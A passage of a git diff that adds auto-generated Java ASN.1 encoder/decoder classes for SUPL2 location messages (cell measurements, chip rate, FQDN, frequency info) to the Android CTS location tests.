+ selection = Select.$Tdd;
+ extension = false;
+ element = selected;
+ }
+
+ public modeSpecificInfoType.tddType setTddToNewInstance() {
+ modeSpecificInfoType.tddType element = new modeSpecificInfoType.tddType();
+ setTdd(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "modeSpecificInfoType = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("CellMeasuredResults = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellMeasuredResultsList.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellMeasuredResultsList.java
new file mode 100755
index 0000000..e36d662
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellMeasuredResultsList.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class CellMeasuredResultsList
+ extends Asn1SequenceOf<CellMeasuredResults> {
+ //
+
+ private static final Asn1Tag TAG_CellMeasuredResultsList
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public CellMeasuredResultsList() {
+ super();
+ setMinSize(1);
+setMaxSize(32);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_CellMeasuredResultsList;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_CellMeasuredResultsList != null) {
+ return ImmutableList.of(TAG_CellMeasuredResultsList);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new CellMeasuredResultsList from encoded stream.
+ */
+ public static CellMeasuredResultsList fromPerUnaligned(byte[] encodedBytes) {
+ CellMeasuredResultsList result = new CellMeasuredResultsList();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new CellMeasuredResultsList from encoded stream.
+ */
+ public static CellMeasuredResultsList fromPerAligned(byte[] encodedBytes) {
+ CellMeasuredResultsList result = new CellMeasuredResultsList();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public CellMeasuredResults createAndAddValue() {
+ CellMeasuredResults value = new CellMeasuredResults();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("CellMeasuredResultsList = [\n");
+ final String internalIndent = indent + " ";
+ for (CellMeasuredResults value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellParametersID.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellParametersID.java
new file mode 100755
index 0000000..ea37b44
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellParametersID.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class CellParametersID extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_CellParametersID
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public CellParametersID() {
+ super();
+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_CellParametersID;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_CellParametersID != null) {
+ return ImmutableList.of(TAG_CellParametersID);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new CellParametersID from encoded stream.
+ */
+ public static CellParametersID fromPerUnaligned(byte[] encodedBytes) {
+ CellParametersID result = new CellParametersID();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new CellParametersID from encoded stream.
+ */
+ public static CellParametersID fromPerAligned(byte[] encodedBytes) {
+ CellParametersID result = new CellParametersID();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "CellParametersID = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/ChipRate.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/ChipRate.java
new file mode 100755
index 0000000..bac06e0
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/ChipRate.java
@@ -0,0 +1,159 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class ChipRate extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ tdd128(0),
+ tdd384(1),
+ tdd768(2),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_ChipRate
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ChipRate() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ChipRate;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ChipRate != null) {
+ return ImmutableList.of(TAG_ChipRate);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new ChipRate from encoded stream.
+ */
+ public static ChipRate fromPerUnaligned(byte[] encodedBytes) {
+ ChipRate result = new ChipRate();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ChipRate from encoded stream.
+ */
+ public static ChipRate fromPerAligned(byte[] encodedBytes) {
+ ChipRate result = new ChipRate();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ChipRate = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FQDN.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FQDN.java
new file mode 100755
index 0000000..8810f10
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FQDN.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.Asn1VisibleString;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class FQDN extends Asn1VisibleString {
+ //
+
+ private static final Asn1Tag TAG_FQDN
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public FQDN() {
+ super();
+ setMinSize(1);
+setMaxSize(255);
+
+ setAlphabet("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.-");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_FQDN;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_FQDN != null) {
+ return ImmutableList.of(TAG_FQDN);
+ } else {
+ return Asn1VisibleString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new FQDN from encoded stream.
+ */
+ public static FQDN fromPerUnaligned(byte[] encodedBytes) {
+ FQDN result = new FQDN();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new FQDN from encoded stream.
+ */
+ public static FQDN fromPerAligned(byte[] encodedBytes) {
+ FQDN result = new FQDN();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "FQDN = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FrequencyInfo.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FrequencyInfo.java
new file mode 100755
index 0000000..85c0305
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FrequencyInfo.java
@@ -0,0 +1,554 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class FrequencyInfo extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_FrequencyInfo
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public FrequencyInfo() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_FrequencyInfo;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_FrequencyInfo != null) {
+ return ImmutableList.of(TAG_FrequencyInfo);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new FrequencyInfo from encoded stream.
+ */
+ public static FrequencyInfo fromPerUnaligned(byte[] encodedBytes) {
+ FrequencyInfo result = new FrequencyInfo();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new FrequencyInfo from encoded stream.
+ */
+ public static FrequencyInfo fromPerAligned(byte[] encodedBytes) {
+ FrequencyInfo result = new FrequencyInfo();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private FrequencyInfo.modeSpecificInfoType modeSpecificInfo_;
+ public FrequencyInfo.modeSpecificInfoType getModeSpecificInfo() {
+ return modeSpecificInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a FrequencyInfo.modeSpecificInfoType
+ */
+ public void setModeSpecificInfo(Asn1Object value) {
+ this.modeSpecificInfo_ = (FrequencyInfo.modeSpecificInfoType) value;
+ }
+ public FrequencyInfo.modeSpecificInfoType setModeSpecificInfoToNewInstance() {
+ modeSpecificInfo_ = new FrequencyInfo.modeSpecificInfoType();
+ return modeSpecificInfo_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getModeSpecificInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getModeSpecificInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setModeSpecificInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? FrequencyInfo.modeSpecificInfoType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "modeSpecificInfo : "
+ + getModeSpecificInfo().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class modeSpecificInfoType extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_modeSpecificInfoType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "modeSpecificInfoType: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public modeSpecificInfoType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_modeSpecificInfoType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_modeSpecificInfoType != null) {
+ return ImmutableList.of(TAG_modeSpecificInfoType);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new modeSpecificInfoType from encoded stream.
+ */
+ public static modeSpecificInfoType fromPerUnaligned(byte[] encodedBytes) {
+ modeSpecificInfoType result = new modeSpecificInfoType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new modeSpecificInfoType from encoded stream.
+ */
+ public static modeSpecificInfoType fromPerAligned(byte[] encodedBytes) {
+ modeSpecificInfoType result = new modeSpecificInfoType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $Fdd(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new FrequencyInfoFDD();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? FrequencyInfoFDD.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Tdd(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new FrequencyInfoTDD();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? FrequencyInfoTDD.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+
+
+ public boolean isFdd() {
+ return !hasExtensionValue() && Select.$Fdd == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isFdd}.
+ */
+ @SuppressWarnings("unchecked")
+ public FrequencyInfoFDD getFdd() {
+ if (!isFdd()) {
+ throw new IllegalStateException("modeSpecificInfoType value not a Fdd");
+ }
+ return (FrequencyInfoFDD) element;
+ }
+
+ public void setFdd(FrequencyInfoFDD selected) {
+ selection = Select.$Fdd;
+ extension = false;
+ element = selected;
+ }
+
+ public FrequencyInfoFDD setFddToNewInstance() {
+ FrequencyInfoFDD element = new FrequencyInfoFDD();
+ setFdd(element);
+ return element;
+ }
+
+
+
+ public boolean isTdd() {
+ return !hasExtensionValue() && Select.$Tdd == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isTdd}.
+ */
+ @SuppressWarnings("unchecked")
+ public FrequencyInfoTDD getTdd() {
+ if (!isTdd()) {
+ throw new IllegalStateException("modeSpecificInfoType value not a Tdd");
+ }
+ return (FrequencyInfoTDD) element;
+ }
+
+ public void setTdd(FrequencyInfoTDD selected) {
+ selection = Select.$Tdd;
+ extension = false;
+ element = selected;
+ }
+
+ public FrequencyInfoTDD setTddToNewInstance() {
+ FrequencyInfoTDD element = new FrequencyInfoTDD();
+ setTdd(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "modeSpecificInfoType = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("FrequencyInfo = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FrequencyInfoFDD.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FrequencyInfoFDD.java
new file mode 100755
index 0000000..137b877
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/FrequencyInfoFDD.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
